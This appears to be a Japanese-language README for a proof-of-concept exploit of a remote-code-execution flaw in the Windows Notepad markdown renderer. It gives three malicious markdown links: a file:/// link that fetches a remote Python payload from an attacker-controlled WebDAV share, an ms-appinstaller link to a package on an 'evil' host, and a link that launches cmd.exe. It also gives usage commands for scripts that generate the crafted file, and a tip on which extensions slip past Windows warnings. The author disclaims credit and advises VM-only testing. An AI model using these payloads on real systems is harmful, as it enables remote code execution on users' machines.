CVE-2026-20841 - Windows Notepad RCE

Windows Notepad のマークダウンレンダラーにおけるリモートコード実行の脆弱性に対する PoC。このマークダウンエンジンは URL プロトコルを制限しておらず、クリック可能なリンクを介して任意のプロトコルハンドラーを起動できます。

免責事項

1. 私の発見ではありません。 功績は MSRC アドバイザリ の元の研究者に帰属します。これは PoC の再現です。
2. 見た目よりも深刻度は低いです。 ほとんどの場合、複数回のクリックが必要です（制限事項 を参照）。「Notepad RCE」があまりにも面白いので作成しました。

攻撃ベクトル

1. リモートペイロード（file:///）

[click](file:///\\attacker@5005\DavWWWRoot\payload.py)

file:/// プロトコルはリモートの UNC パスを解決します。ペイロードにリンクすると、クリック時に Windows がそれを取得して実行します。

2. アプリのサイドローディング（ms-appinstaller://）

[click](ms-appinstaller://?source=https://evil/xxx.appx)

攻撃者が提供する .appx/.msix パッケージでアプリインストーラーを開きます。

3. ローカルバイナリの実行（file://）

[click](file://C:/windows/system32/cmd.exe)

ディスク上に既に存在する任意の実行可能ファイル（cmd.exe、powershell.exe、mshta.exe など）を起動します。

使用方法

両スクリプトは、現在のディレクトリに細工されたリンクを含む poc.md を生成します。

node poc.js <host> <port> <payload/path>
python poc.py <host> <port> <payload/path>

# 例
node poc.js 192.168.1.100 5005 hello.py
notepad poc.md

テストペイロードは payloads/ にあります。

制限事項

1. 危険な拡張子は依然としてフラグが立てられます。 .exe、.lnk、.vbs および類似の拡張子は、Notepad の動作に関係なく Windows のセキュリティ警告をトリガーします。
2. インタープリター拡張子は警告を回避します。 ターゲットに Python または Java がインストールされている場合、.py と .jar は警告なしで実行されます。

注意事項

• 影響を受ける Notepad ビルドは Uptodown にあります。使用前にデジタル署名を確認してください。
• VM 内でのみテストしてください。

安全に！